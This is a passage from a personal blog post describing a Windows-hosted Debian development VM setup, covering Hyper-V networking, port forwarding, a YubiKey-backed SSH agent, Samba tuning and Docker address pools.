On my desktop machine, I went with the External switch option, connected it with the network card that the machine gets Internet on and that's pretty much it. The virtual machine also appears to the router as if it were a physical machine on the network. Based on its MAC address, I gave it a fixed IP address on the DHCP server and a host on the DNS server that resolves to that IP address (devbox.lan).

This may be an acceptable solution for a desktop machine that is rarely moved, but what about a laptop for example where you may not have access to all the routers to configure this? An Internal switch could work in this case. I configured it with the following PowerShell commands:

> New-VMSwitch -SwitchName "Internal" -SwitchType Internal
> New-NetIPAddress -IPAddress 192.168.56.1 -PrefixLength 24 -DefaultGateway 192.168.56.1 -InterfaceAlias "vEthernet (Internal)"
> New-NetNAT -Name "InternalNatNetwork" -InternalIPInterfaceAddressPrefix 192.168.56.0/24

We are using the 192.168.56.0/24 subnet, but without DHCP we don't get an IP address automatically. We have to specify a fixed IP address inside the virtual machine. For Debian, something like this in /etc/network/interfaces should work:

iface eth0 inet static
  address 192.168.56.101
  netmask 255.255.255.0
  gateway 192.168.56.1

If you also need a host for it, you can add the following line to the C:\Windows\System32\drivers\etc\hosts file:

192.168.56.101 devbox.lan

Sometimes it is necessary to access a port of the virtual machine on localhost (if something inside the virtual machine is running on port 8080, I can access it on localhost:8080). To do this, I initially used the following PowerShell command:

> Add-NetNatStaticMapping -NatName "InternalNatNetwork" -Protocol TCP -ExternalIPAddress 0.0.0.0 -InternalIPAddress 192.168.56.101 -InternalPort 8080 -ExternalPort 8080

This started to not work after a while. I don't know what happened to it, but after some digging, I found another command instead.

> netsh interface portproxy add v4tov4 listenport=8080 listenaddress=0.0.0.0 connectport=8080 connectaddress=192.168.56.101

In hindsight, it might have been easier to just use SSH port forwarding. What a delightful discovery to make during writing this post.

GUI applications

The physical machine is running VcXsrv, which is an X server running on Windows. Within the virtual Linux, I can use it to launch windowed applications that can be used as Windows applications. Usually the IDE I'm currently using runs inside the virtual machine with this method because it's easier to access Linux/Docker stuff inside the virtual machine and there are fewer problems around file permissions.

SSH

I use a GPG key stored on a YubiKey for SSH authentication. The GPG agent in Gpg4win is configured to both handle the YubiKey and to offer the key to the SSH agent:

scdaemon.conf

reader-port Yubico Yubi
pcsc-shared
disable-application piv

gpg-agent.conf

enable-ssh-support
enable-putty-support

PuTTY is used as SSH client (although Windows Terminal is quite promising, but last time I checked it didn't want to work with the GPG agent). Agent forwarding^[1] is enabled so that the virtual machine can use the key on the YubiKey.

Also, my Linux home directory is mounted as a network drive (P:\) to make it easier to move files between the two machines.

The virtual machine

This part is pretty basic, a simple Debian or Ubuntu server that I set up using Ansible. After SSHing in, I'm greeted by a Bash with the default settings (apart from a few aliases) and I usually start a Tmux alongside. If I'm in the mood, I'll use Powerline (and its associated DejaVu Sans Mono font) to make them look fancy a bit.

Samba

There is a Samba on the machine because of the network drive. I found some performance-boosting settings on the net that I use with it:

/etc/samba/smb.conf

read raw = yes
write raw = yes
socket options = TCP_NODELAY IPTOS_LOWDELAY SO_RCVBUF=131072 SO_SNDBUF=131072 SO_KEEPALIVE
use sendfile = yes
aio read size = 16384
aio write size = 16384
oplocks = yes
max xmit = 65535
dead time = 15
getwd cache = yes

Docker

Last but not least, Docker is added for the projects. All the other stuff will hopefully run inside Docker. Speaking of Docker, we should talk a bit about its network setup.

If you let it run wild, there's a small chance that sooner or later it will create a network that conflicts with one of your other local networks and things will start to get weird. To prevent this, it's worth adding something like this to your settings:

/etc/docker/daemon.json

{
  "bip": "172.20.0.1/16",
  "default-address-pools": [
    {"base": "172.21.0.0/16", "size": 24}
  ]
}

So you can have ~250 networks with ~250 machines per network, which is probably more than enough for a development machine, but you can add more domains to the default-address-pools section if you run out of them.

That brings us to the end of the tour, I hope you enjoyed the trip. We've scratched the surface of quite a lot of things, but this is probably enough to get you started on this bumpy road.
Having said that, I can probably admit now that I'm not sure I could recommend this setup to anyone. I am comfortable with it enough not to change for the time being, but I am still looking for other possible alternatives.

Notes

1. ↑ It is often said that agent forwarding is not a good idea, because the socket will be available to others on the target machine if they have enough privileges (e.g. root), but this is not a threat in our case.